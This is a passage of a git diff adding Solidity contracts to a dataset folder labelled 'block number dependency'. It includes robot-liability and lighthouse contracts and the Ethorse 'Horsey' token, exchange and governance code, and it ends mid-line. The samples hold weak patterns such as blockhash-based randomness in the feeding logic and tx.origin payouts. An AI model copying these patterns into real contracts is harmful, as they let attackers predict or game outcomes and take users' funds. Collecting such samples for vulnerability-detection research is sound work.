bytes32 hash) public only_owner(node) { + records[node].content = hash; + ContentChanged(node, hash); + } + + + function setMultihash(bytes32 node, bytes hash) public only_owner(node) { + records[node].multihash = hash; + MultihashChanged(node, hash); + } + + + function setName(bytes32 node, string name) public only_owner(node) { + records[node].name = name; + NameChanged(node, name); + } + + + function setABI(bytes32 node, uint256 contentType, bytes data) public only_owner(node) { + + require(((contentType - 1) & contentType) == 0); + + records[node].abis[contentType] = data; + ABIChanged(node, contentType); + } + + + function setPubkey(bytes32 node, bytes32 x, bytes32 y) public only_owner(node) { + records[node].pubkey = PublicKey(x, y); + PubkeyChanged(node, x, y); + } + + + function setText(bytes32 node, string key, string value) public only_owner(node) { + records[node].text[key] = value; + TextChanged(node, key, key); + } + + + function text(bytes32 node, string key) public view returns (string) { + return records[node].text[key]; + } + + + function pubkey(bytes32 node) public view returns (bytes32 x, bytes32 y) { + return (records[node].pubkey.x, records[node].pubkey.y); + } + + + function ABI(bytes32 node, uint256 contentTypes) public view returns (uint256 contentType, bytes data) { + Record storage record = records[node]; + for (contentType = 1; contentType <= contentTypes; contentType <<= 1) { + if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) { + data = record.abis[contentType]; + return; + } + } + contentType = 0; + } + + + function name(bytes32 node) public view returns (string) { + return records[node].name; + } + + + function content(bytes32 node) public view returns (bytes32) { + return records[node].content; + } + + + function multihash(bytes32 node) public view returns (bytes) { + return records[node].multihash; + } + + + function addr(bytes32 node) public view returns (address) { + return records[node].addr; + } + + + function supportsInterface(bytes4 interfaceID) public pure returns (bool) { + return interfaceID == ADDR_INTERFACE_ID || + interfaceID == CONTENT_INTERFACE_ID || + interfaceID == NAME_INTERFACE_ID || + interfaceID == ABI_INTERFACE_ID || + interfaceID == PUBKEY_INTERFACE_ID || + interfaceID == TEXT_INTERFACE_ID || + interfaceID == MULTIHASH_INTERFACE_ID || + interfaceID == INTERFACE_META_ID; + } +} + +contract LightContract { + + address lib; + + constructor(address _library) public { + lib = _library; + } + + function() public { + require(lib.delegatecall(msg.data)); + } +} + +contract LighthouseABI { + function refill(uint256 _value) external; + function withdraw(uint256 _value) external; + function to(address _to, bytes _data) external; + function () external; +} + +contract LighthouseAPI { + address[] public members; + mapping(address => uint256) indexOf; + + mapping(address => uint256) public balances; + + uint256 public minimalFreeze; + uint256 public timeoutBlocks; + + LiabilityFactory public factory; + XRT public xrt; + + uint256 public keepaliveBlock = 0; + uint256 public marker = 0; + uint256 public quota = 0; + + function quotaOf(address _member) public view returns (uint256) + { return balances[_member] / minimalFreeze; } +} + +contract LighthouseLib is LighthouseAPI, LighthouseABI { + + function refill(uint256 _value) external { + require(xrt.transferFrom(msg.sender, this, _value)); + require(_value >= minimalFreeze); + + if (balances[msg.sender] == 0) { + indexOf[msg.sender] = members.length; + members.push(msg.sender); + } + balances[msg.sender] += _value; + } + + function withdraw(uint256 _value) external { + require(balances[msg.sender] >= _value); + + balances[msg.sender] -= _value; + require(xrt.transfer(msg.sender, _value)); + + + if (quotaOf(msg.sender) == 0) { + uint256 balance = balances[msg.sender]; + balances[msg.sender] = 0; + require(xrt.transfer(msg.sender, balance)); + + uint256 senderIndex = indexOf[msg.sender]; + uint256 lastIndex = members.length - 1; + if (senderIndex < lastIndex) + members[senderIndex] = members[lastIndex]; + members.length -= 1; + } + } + + function nextMember() internal + { marker = (marker + 1) % members.length; } + + modifier quoted { + if (quota == 0) { + + nextMember(); + + + quota = quotaOf(members[marker]); + } + + + assert(quota > 0); + quota -= 1; + + _; + } + + modifier keepalive { + if (timeoutBlocks < block.number - keepaliveBlock) { + + while (msg.sender != members[marker]) + nextMember(); + + + quota = quotaOf(members[marker]); + } + + _; + } + + modifier member { + + require(members.length > 0); + + + require(msg.sender == members[marker]); + + + keepaliveBlock = block.number; + + _; + } + + function to(address _to, bytes _data) external keepalive quoted member { + require(factory.gasUtilizing(_to) > 0); + require(_to.call(_data)); + } + + function () external keepalive quoted member + { require(factory.call(msg.data)); } +} + +contract Lighthouse is LighthouseAPI, LightContract { + constructor( + address _lib, + uint256 _minimalFreeze, + uint256 _timeoutBlocks + ) + public + LightContract(_lib) + { + minimalFreeze = _minimalFreeze; + timeoutBlocks = _timeoutBlocks; + factory = LiabilityFactory(msg.sender); + xrt = factory.xrt(); + } +} + +contract RobotLiabilityABI { + function ask( + bytes _model, + bytes _objective, + + ERC20 _token, + uint256 _cost, + + address _validator, + uint256 _validator_fee, + + uint256 _deadline, + bytes32 _nonce, + bytes _signature + ) external returns (bool); + + function bid( + bytes _model, + bytes _objective, + + ERC20 _token, + uint256 _cost, + + uint256 _lighthouse_fee, + + uint256 _deadline, + bytes32 _nonce, + bytes _signature + ) external returns (bool); + + function finalize( + bytes _result, + bytes _signature, + bool _agree + ) external returns (bool); +} + +contract RobotLiabilityAPI { + bytes public model; + bytes public objective; + bytes public result; + + ERC20 public token; + uint256 public cost; + uint256 public lighthouseFee; + uint256 public validatorFee; + + bytes32 public askHash; + bytes32 public bidHash; + + address public promisor; + address public promisee; + address public validator; + + bool public isConfirmed; + bool public isFinalized; + + LiabilityFactory public factory; +} + +contract RobotLiabilityLib is RobotLiabilityABI + , RobotLiabilityAPI { + using ECRecovery for bytes32; + + function ask( + bytes _model, + bytes _objective, + + ERC20 _token, + uint256 _cost, + + address _validator, + uint256 _validator_fee, + + uint256 _deadline, + bytes32 _nonce, + bytes _signature + ) + external + returns (bool) + { + require(msg.sender == address(factory)); + require(block.number < _deadline); + + model = _model; + objective = _objective; + token = _token; + cost = _cost; + validator = _validator; + validatorFee = _validator_fee; + + askHash = keccak256(abi.encodePacked( + _model + , _objective + , _token + , _cost + , _validator + , _validator_fee + , _deadline + , _nonce + )); + + promisee = askHash + .toEthSignedMessageHash() + .recover(_signature); + return true; + } + + function bid( + bytes _model, + bytes _objective, + + ERC20 _token, + uint256 _cost, + + uint256 _lighthouse_fee, + + uint256 _deadline, + bytes32 _nonce, + bytes _signature + ) + external + returns (bool) + { + require(msg.sender == address(factory)); + require(block.number < _deadline); + require(keccak256(model) == keccak256(_model)); + require(keccak256(objective) == keccak256(_objective)); + require(_token == token); + require(_cost == cost); + + lighthouseFee = _lighthouse_fee; + + bidHash = keccak256(abi.encodePacked( + _model + , _objective + , _token + , _cost + , _lighthouse_fee + , _deadline + , _nonce + )); + + promisor = bidHash + .toEthSignedMessageHash() + .recover(_signature); + return true; + } + + + function finalize( + bytes _result, + bytes _signature, + bool _agree + ) + external + returns (bool) + { + uint256 gasinit = gasleft(); + require(!isFinalized); + + address resultSender = keccak256(abi.encodePacked(this, _result)) + .toEthSignedMessageHash() + .recover(_signature); + require(resultSender == promisor); + + result = _result; + isFinalized = true; + + if (validator == 0) { + require(factory.isLighthouse(msg.sender)); + require(token.transfer(promisor, cost)); + } else { + require(msg.sender == validator); + + isConfirmed = _agree; + if (isConfirmed) + require(token.transfer(promisor, cost)); + else + require(token.transfer(promisee, cost)); + + if (validatorFee > 0) + require(factory.xrt().transfer(validator, validatorFee)); + } + + require(factory.liabilityFinalized(gasinit)); + return true; + } +} + + +contract RobotLiability is RobotLiabilityAPI, LightContract { + constructor(address _lib) public LightContract(_lib) + { factory = LiabilityFactory(msg.sender); } +} + +contract LiabilityFactory { + constructor( + address _robot_liability_lib, + address _lighthouse_lib, + DutchAuction _auction, + XRT _xrt, + ENS _ens + ) public { + robotLiabilityLib = _robot_liability_lib; + lighthouseLib = _lighthouse_lib; + auction = _auction; + xrt = _xrt; + ens = _ens; + } + + + event NewLiability(address indexed liability); + + + event NewLighthouse(address indexed lighthouse, string name); + + + DutchAuction public auction; + + + XRT public xrt; + + + ENS public ens; + + + uint256 public totalGasUtilizing = 0; + + + mapping(address => uint256) public gasUtilizing; + + + uint256 public constant gasEpoch = 347 * 10**10; + + + uint256 public constant gasPrice = 10 * 10**9; + + + mapping(bytes32 => bool) public usedHash; + + + mapping(address => bool) public isLighthouse; + + + address public robotLiabilityLib; + + + address public lighthouseLib; + + + function wnFromGas(uint256 _gas) public view returns (uint256) { + + if (auction.finalPrice() == 0) + return _gas; + + + uint256 epoch = totalGasUtilizing / gasEpoch; + + + uint256 wn = _gas * 10**9 * gasPrice * 2**epoch / 3**epoch / auction.finalPrice(); + + + return wn < _gas ? _gas : wn; + } + + + modifier onlyLighthouse { + require(isLighthouse[msg.sender]); + _; + } + + + function usedHashGuard(bytes32 _hash) internal { + require(!usedHash[_hash]); + usedHash[_hash] = true; + } + + + function createLiability( + bytes _ask, + bytes _bid + ) + external + onlyLighthouse + returns (RobotLiability liability) + { + + uint256 gasinit = gasleft(); + + + liability = new RobotLiability(robotLiabilityLib); + emit NewLiability(liability); + + + require(liability.call(abi.encodePacked(bytes4(0x82fbaa25), _ask))); + usedHashGuard(liability.askHash()); + + require(liability.call(abi.encodePacked(bytes4(0x66193359), _bid))); + usedHashGuard(liability.bidHash()); + + + require(xrt.transferFrom(liability.promisor(), + tx.origin, + liability.lighthouseFee())); + + + ERC20 token = liability.token(); + require(token.transferFrom(liability.promisee(), + liability, + liability.cost())); + + + if (address(liability.validator()) != 0 && liability.validatorFee() > 0) + require(xrt.transferFrom(liability.promisee(), + liability, + liability.validatorFee())); + + + uint256 gas = gasinit - gasleft() + 110525; + totalGasUtilizing += gas; + gasUtilizing[liability] += gas; + } + + + function createLighthouse( + uint256 _minimalFreeze, + uint256 _timeoutBlocks, + string _name + ) + external + returns (address lighthouse) + { + bytes32 lighthouseNode + + = 0x3662a5d633e9a5ca4b4bd25284e1b343c15a92b5347feb9b965a2b1ef3e1ea1a; + + + bytes32 subnode = keccak256(abi.encodePacked(lighthouseNode, keccak256(_name))); + require(ens.resolver(subnode) == 0); + + + lighthouse = new Lighthouse(lighthouseLib, _minimalFreeze, _timeoutBlocks); + emit NewLighthouse(lighthouse, _name); + isLighthouse[lighthouse] = true; + + + ens.setSubnodeOwner(lighthouseNode, keccak256(_name), this); + + + PublicResolver resolver = PublicResolver(ens.resolver(lighthouseNode)); + ens.setResolver(subnode, resolver); + resolver.setAddr(subnode, lighthouse); + } + + + function liabilityFinalized( + uint256 _gas + ) + external + returns (bool) + { + require(gasUtilizing[msg.sender] > 0); + + uint256 gas = _gas - gasleft(); + totalGasUtilizing += gas; + gasUtilizing[msg.sender] += gas; + require(xrt.mint(tx.origin, wnFromGas(gasUtilizing[msg.sender]))); + return true; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/654.sol b/smart_contract_dataset/block number dependency/654.sol new file mode 100644 index 0000000000000000000000000000000000000000..0814d205dfc6f22ecd4114491fb86819b5d643c6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/654.sol @@ -0,0 +1,1134 @@ +pragma solidity ^0.4.24; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + + +contract ERC721Basic { + function balanceOf(address _owner) public view returns (uint256 _balance); + function ownerOf(uint256 _tokenId) public view returns (address _owner); + function exists(uint256 _tokenId) public view returns (bool _exists); + + function approve(address _to, uint256 _tokenId) public; + function getApproved(uint256 _tokenId) public view returns (address _operator); + + function transferFrom(address _from, address _to, uint256 _tokenId) public; +} + + +contract HorseyExchange is Pausable { + + using SafeMath for uint256; + + event HorseyDeposit(uint256 tokenId, uint256 price); + event SaleCanceled(uint256 tokenId); + event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay); + + + uint256 public marketMakerFee = 3; + + + uint256 collectedFees = 0; + + + ERC721Basic public token; + + + struct SaleData { + uint256 price; + address owner; + } + + + mapping (uint256 => SaleData) market; + + + mapping (address => uint256[]) userBarn; + + + constructor() Pausable() public { + } + + + function setStables(address _token) external + onlyOwner() + { + require(address(_token) != 0,"Address of token is zero"); + token = ERC721Basic(_token); + } + + + function setMarketFees(uint256 fees) external + onlyOwner() + { + marketMakerFee = fees; + } + + + function getTokensOnSale(address user) external view returns(uint256[]) { + return userBarn[user]; + } + + + function getTokenPrice(uint256 tokenId) public view + isOnMarket(tokenId) returns (uint256) { + return market[tokenId].price + (market[tokenId].price.div(100).mul(marketMakerFee)); + } + + + function depositToExchange(uint256 tokenId, uint256 price) external + whenNotPaused() + isTokenOwner(tokenId) + nonZeroPrice(price) + tokenAvailable() { + require(token.getApproved(tokenId) == address(this),"Exchange is not allowed to transfer"); + + token.transferFrom(msg.sender, address(this), tokenId); + + + market[tokenId] = SaleData(price,msg.sender); + + + userBarn[msg.sender].push(tokenId); + + emit HorseyDeposit(tokenId, price); + } + + + function cancelSale(uint256 tokenId) external + whenNotPaused() + originalOwnerOf(tokenId) + tokenAvailable() returns (bool) { + + token.transferFrom(address(this),msg.sender,tokenId); + + + delete market[tokenId]; + + + _removeTokenFromBarn(tokenId, msg.sender); + + emit SaleCanceled(tokenId); + + + + return userBarn[msg.sender].length > 0; + } + + + function purchaseToken(uint256 tokenId) external payable + whenNotPaused() + isOnMarket(tokenId) + tokenAvailable() + notOriginalOwnerOf(tokenId) + { + + uint256 totalToPay = getTokenPrice(tokenId); + require(msg.value >= totalToPay, "Not paying enough"); + + + SaleData memory sale = market[tokenId]; + + + collectedFees += totalToPay - sale.price; + + + sale.owner.transfer(sale.price); + + + _removeTokenFromBarn(tokenId, sale.owner); + + + delete market[tokenId]; + + + + token.transferFrom(address(this), msg.sender, tokenId); + + + if(msg.value > totalToPay) + { + msg.sender.transfer(msg.value.sub(totalToPay)); + } + + emit HorseyPurchased(tokenId, msg.sender, totalToPay); + } + + + function withdraw() external + onlyOwner() + { + assert(collectedFees <= address(this).balance); + owner.transfer(collectedFees); + collectedFees = 0; + } + + + function _removeTokenFromBarn(uint tokenId, address barnAddress) internal { + uint256[] storage barnArray = userBarn[barnAddress]; + require(barnArray.length > 0,"No tokens to remove"); + int index = _indexOf(tokenId, barnArray); + require(index >= 0, "Token not found in barn"); + + + for (uint256 i = uint256(index); i 0,"Price is zero"); + _; + } + + + modifier tokenAvailable(){ + require(address(token) != 0,"Token address not set"); + _; + } +} + + + +contract BettingControllerInterface { + address public owner; +} + +contract EthorseRace { + + + struct chronus_info { + bool betting_open; + bool race_start; + bool race_end; + bool voided_bet; + uint32 starting_time; + uint32 betting_duration; + uint32 race_duration; + uint32 voided_timestamp; + } + + address public owner; + + + chronus_info public chronus; + + + mapping (bytes32 => bool) public winner_horse; + + + function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint); +} + + +contract EthorseHelpers { + + + bytes32[] public all_horses = [bytes32("BTC"),bytes32("ETH"),bytes32("LTC")]; + mapping(address => bool) private _legitOwners; + + + function _addHorse(bytes32 newHorse) internal { + all_horses.push(newHorse); + } + + function _addLegitOwner(address newOwner) internal + { + _legitOwners[newOwner] = true; + } + + function getall_horsesCount() public view returns(uint) { + return all_horses.length; + } + + + function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32) + { + + EthorseRace race = EthorseRace(raceAddress); + + BettingControllerInterface bc = BettingControllerInterface(race.owner()); + + require(_legitOwners[bc.owner()]); + + bool voided_bet; + bool race_end; + (,,race_end,voided_bet,,,,) = race.chronus(); + + + if(voided_bet || !race_end) + return (false,bytes32(0)); + + + bytes32 horse; + bool found = false; + uint256 arrayLength = all_horses.length; + + + for(uint256 i = 0; i < arrayLength; i++) + { + if(race.winner_horse(all_horses[i])) { + horse = all_horses[i]; + found = true; + break; + } + } + + if(!found) + return (false,bytes32(0)); + + + uint256 bet_amount = 0; + if(eth_address != address(0)) { + (,,,, bet_amount) = race.getCoinIndex(horse, eth_address); + } + + + return (bet_amount > 0, horse); + } +} + + + +contract RoyalStablesInterface { + + struct Horsey { + address race; + bytes32 dna; + uint8 feedingCounter; + uint8 tier; + } + + mapping(uint256 => Horsey) public horseys; + mapping(address => uint32) public carrot_credits; + mapping(uint256 => string) public names; + address public master; + + function getOwnedTokens(address eth_address) public view returns (uint256[]); + function storeName(uint256 tokenId, string newName) public; + function storeCarrotsCredit(address client, uint32 amount) public; + function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorseyDna(uint256 tokenId, bytes32 dna) public; + function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public; + function modifyHorseyTier(uint256 tokenId, uint8 tier) public; + function unstoreHorsey(uint256 tokenId) public; + function ownerOf(uint256 tokenId) public returns (address); +} + + +contract HorseyToken is EthorseHelpers,Pausable { + using SafeMath for uint256; + + + event Claimed(address raceAddress, address eth_address, uint256 tokenId); + + + event Feeding(uint256 tokenId); + + + event ReceivedCarrot(uint256 tokenId, bytes32 newDna); + + + event FeedingFailed(uint256 tokenId); + + + event HorseyRenamed(uint256 tokenId, string newName); + + + event HorseyFreed(uint256 tokenId); + + + RoyalStablesInterface public stables; + + + uint8 public carrotsMultiplier = 1; + + + uint8 public rarityMultiplier = 1; + + + uint256 public claimingFee = 0.008 ether; + + + struct FeedingData { + uint256 blockNumber; + uint256 horsey; + } + + + mapping(address => FeedingData) public pendingFeedings; + + + uint256 public renamingCostsPerChar = 0.001 ether; + + + constructor(address stablesAddress) + EthorseHelpers() + Pausable() public { + stables = RoyalStablesInterface(stablesAddress); + } + + + function setRarityMultiplier(uint8 newRarityMultiplier) external + onlyOwner() { + rarityMultiplier = newRarityMultiplier; + } + + + function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external + onlyOwner() { + carrotsMultiplier = newCarrotsMultiplier; + } + + + function setRenamingCosts(uint256 newRenamingCost) external + onlyOwner() { + renamingCostsPerChar = newRenamingCost; + } + + + function setClaimingCosts(uint256 newClaimingFee) external + onlyOwner() { + claimingFee = newClaimingFee; + } + + + function addLegitDevAddress(address newAddress) external + onlyOwner() { + _addLegitOwner(newAddress); + } + + + function withdraw() external + onlyOwner() { + owner.transfer(address(this).balance); + } + + + + function addHorseIndex(bytes32 newHorse) external + onlyOwner() { + _addHorse(newHorse); + } + + + function getOwnedTokens(address eth_address) public view returns (uint256[]) { + return stables.getOwnedTokens(eth_address); + } + + + function can_claim(address raceAddress, address eth_address) public view returns (bool) { + bool res; + (res,) = _isWinnerOf(raceAddress, eth_address); + return res; + } + + + function claim(address raceAddress) external payable + costs(claimingFee) + whenNotPaused() + { + + bytes32 winner; + (,winner) = _isWinnerOf(raceAddress, address(0)); + require(winner != bytes32(0),"Winner is zero"); + require(can_claim(raceAddress, msg.sender),"can_claim return false"); + + uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner); + emit Claimed(raceAddress, msg.sender, id); + } + + + function renameHorsey(uint256 tokenId, string newName) external + whenNotPaused() + onlyOwnerOf(tokenId) + costs(renamingCostsPerChar * bytes(newName).length) + payable { + uint256 renamingFee = renamingCostsPerChar * bytes(newName).length; + + if(msg.value > renamingFee) + { + msg.sender.transfer(msg.value.sub(renamingFee)); + } + + stables.storeName(tokenId,newName); + emit HorseyRenamed(tokenId,newName); + } + + + function freeForCarrots(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) { + require(pendingFeedings[msg.sender].horsey != tokenId,""); + + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier)); + stables.unstoreHorsey(tokenId); + emit HorseyFreed(tokenId); + } + + + function getCarrotCredits() external view returns (uint32) { + return stables.carrot_credits(msg.sender); + } + + + function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) { + RoyalStablesInterface.Horsey memory temp; + (temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId); + return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId)); + } + + + function feed(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) + carrotsMeetLevel(tokenId) + noFeedingInProgress() + { + pendingFeedings[msg.sender] = FeedingData(block.number,tokenId); + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter)); + emit Feeding(tokenId); + } + + + function stopFeeding() external + feedingInProgress() returns (bool) { + uint256 blockNumber = pendingFeedings[msg.sender].blockNumber; + uint256 tokenId = pendingFeedings[msg.sender].horsey; + + require(block.number - blockNumber >= 1,"feeding and stop feeding are in same block"); + + delete pendingFeedings[msg.sender]; + + + + if(block.number - blockNumber > 255) { + + + emit FeedingFailed(tokenId); + return false; + } + + + if(stables.ownerOf(tokenId) != msg.sender) { + + + emit FeedingFailed(tokenId); + return false; + } + + + _feed(tokenId, blockhash(blockNumber)); + bytes32 dna; + (,dna,,) = stables.horseys(tokenId); + emit ReceivedCarrot(tokenId, dna); + return true; + } + + + function() external payable { + revert("Not accepting donations"); + } + + + function _feed(uint256 tokenId, bytes32 blockHash) internal { + + uint8 tier; + uint8 feedingCounter; + (,,feedingCounter,tier) = stables.horseys(tokenId); + uint256 probabilityByRarity = 10 ** (uint256(tier).add(1)); + uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity; + + + if(randNum <= (feedingCounter * rarityMultiplier)){ + _increaseRarity(tokenId, blockHash); + } + + + + if(feedingCounter < 255) { + stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1); + } + } + + + function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) { + return uint256(keccak256(abi.encodePacked(race, sender, coinIndex))); + } + + + function _generate_special_horsey(address race, address eth_address, bytes32 coinIndex) internal returns (uint256) { + uint256 id = _makeSpecialId(race, eth_address, coinIndex); + + bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16); + + stables.storeHorsey(eth_address,id,race,dna,1,0); + return id; + } + + + function _increaseRarity(uint256 tokenId, bytes32 blockHash) private { + uint8 tier; + bytes32 dna; + (,dna,,tier) = stables.horseys(tokenId); + if(tier < 255) + stables.modifyHorseyTier(tokenId,tier+1); + uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash))); + + bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240)); + bytes32 newdna = dna | rarityMask; + stables.modifyHorseyDna(tokenId,newdna); + } + + + function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)*(2 ** n)); + } + + + function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)/(2 ** n)); + } + + + modifier carrotsMeetLevel(uint256 tokenId){ + uint256 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + require(feedingCounter <= stables.carrot_credits(msg.sender),"Not enough carrots"); + _; + } + + + modifier costs(uint256 amount) { + require(msg.value >= amount,"Not enough funds"); + _; + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier noFeedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber == 0,"Already feeding"); + _; + } + + + modifier feedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber != 0,"No pending feeding"); + _; + } + + + modifier onlyOwnerOf(uint256 tokenId) { + require(stables.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token"); + _; + } +} + + + + + +contract HorseyPilot { + + using SafeMath for uint256; + + + event NewProposal(uint8 methodId, uint parameter, address proposer); + + + event ProposalPassed(uint8 methodId, uint parameter, address proposer); + + + + uint8 constant votingThreshold = 2; + + + + uint256 constant proposalLife = 7 days; + + + + uint256 constant proposalCooldown = 1 days; + + + uint256 cooldownStart; + + + address public jokerAddress; + address public knightAddress; + address public paladinAddress; + + + address[3] public voters; + + + uint8 constant public knightEquity = 40; + uint8 constant public paladinEquity = 10; + + + address public exchangeAddress; + address public tokenAddress; + + + mapping(address => uint) internal _cBalance; + + + struct Proposal{ + address proposer; + uint256 timestamp; + uint256 parameter; + uint8 methodId; + address[] yay; + address[] nay; + } + + + Proposal public currentProposal; + + + bool public proposalInProgress = false; + + + uint256 public toBeDistributed; + + + bool deployed = false; + + + constructor( + address _jokerAddress, + address _knightAddress, + address _paladinAddress, + address[3] _voters + ) public { + jokerAddress = _jokerAddress; + knightAddress = _knightAddress; + paladinAddress = _paladinAddress; + + for(uint i = 0; i < 3; i++) { + voters[i] = _voters[i]; + } + + + cooldownStart = block.timestamp - proposalCooldown; + } + + + function deployChildren(address stablesAddress) external { + require(!deployed,"already deployed"); + + exchangeAddress = new HorseyExchange(); + tokenAddress = new HorseyToken(stablesAddress); + + + HorseyExchange(exchangeAddress).setStables(stablesAddress); + + deployed = true; + } + + + function transferJokerOwnership(address newJoker) external + validAddress(newJoker) { + require(jokerAddress == msg.sender,"Not right role"); + _moveBalance(newJoker); + jokerAddress = newJoker; + } + + + function transferKnightOwnership(address newKnight) external + validAddress(newKnight) { + require(knightAddress == msg.sender,"Not right role"); + _moveBalance(newKnight); + knightAddress = newKnight; + } + + + function transferPaladinOwnership(address newPaladin) external + validAddress(newPaladin) { + require(paladinAddress == msg.sender,"Not right role"); + _moveBalance(newPaladin); + paladinAddress = newPaladin; + } + + + function withdrawCeo(address destination) external + onlyCLevelAccess() + validAddress(destination) { + + + if(toBeDistributed > 0){ + _updateDistribution(); + } + + + uint256 balance = _cBalance[msg.sender]; + + + if(balance > 0 && (address(this).balance >= balance)) { + destination.transfer(balance); + _cBalance[msg.sender] = 0; + } + } + + + function syncFunds() external { + uint256 prevBalance = address(this).balance; + HorseyToken(tokenAddress).withdraw(); + HorseyExchange(exchangeAddress).withdraw(); + uint256 newBalance = address(this).balance; + + toBeDistributed = toBeDistributed.add(newBalance - prevBalance); + } + + + function getNobleBalance() external view + onlyCLevelAccess() returns (uint256) { + return _cBalance[msg.sender]; + } + + + function makeProposal( uint8 methodId, uint256 parameter ) external + onlyCLevelAccess() + proposalAvailable() + cooledDown() + { + currentProposal.timestamp = block.timestamp; + currentProposal.parameter = parameter; + currentProposal.methodId = methodId; + currentProposal.proposer = msg.sender; + delete currentProposal.yay; + delete currentProposal.nay; + proposalInProgress = true; + + emit NewProposal(methodId,parameter,msg.sender); + } + + + function voteOnProposal(bool voteFor) external + proposalPending() + onlyVoters() + notVoted() { + + require((block.timestamp - currentProposal.timestamp) <= proposalLife); + if(voteFor) + { + currentProposal.yay.push(msg.sender); + + if( currentProposal.yay.length >= votingThreshold ) + { + _doProposal(); + proposalInProgress = false; + + return; + } + + } else { + currentProposal.nay.push(msg.sender); + + if( currentProposal.nay.length >= votingThreshold ) + { + proposalInProgress = false; + cooldownStart = block.timestamp; + return; + } + } + } + + + function _moveBalance(address newAddress) internal + validAddress(newAddress) { + require(newAddress != msg.sender); + _cBalance[newAddress] = _cBalance[msg.sender]; + _cBalance[msg.sender] = 0; + } + + + function _updateDistribution() internal { + require(toBeDistributed != 0,"nothing to distribute"); + uint256 knightPayday = toBeDistributed.div(100).mul(knightEquity); + uint256 paladinPayday = toBeDistributed.div(100).mul(paladinEquity); + + + uint256 jokerPayday = toBeDistributed.sub(knightPayday).sub(paladinPayday); + + _cBalance[jokerAddress] = _cBalance[jokerAddress].add(jokerPayday); + _cBalance[knightAddress] = _cBalance[knightAddress].add(knightPayday); + _cBalance[paladinAddress] = _cBalance[paladinAddress].add(paladinPayday); + + toBeDistributed = 0; + } + + + function _doProposal() internal { + + if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter); + + + if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitDevAddress(address(currentProposal.parameter)); + + + if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter)); + + + if( currentProposal.methodId == 4 ) { + if(currentProposal.parameter == 0) { + HorseyExchange(exchangeAddress).unpause(); + HorseyToken(tokenAddress).unpause(); + } else { + HorseyExchange(exchangeAddress).pause(); + HorseyToken(tokenAddress).pause(); + } + } + + + if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 8 ){ + HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter)); + } + + + if( currentProposal.methodId == 9 ){ + HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter)); + } + + emit ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer); + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier onlyCLevelAccess() { + require((jokerAddress == msg.sender) || (knightAddress == 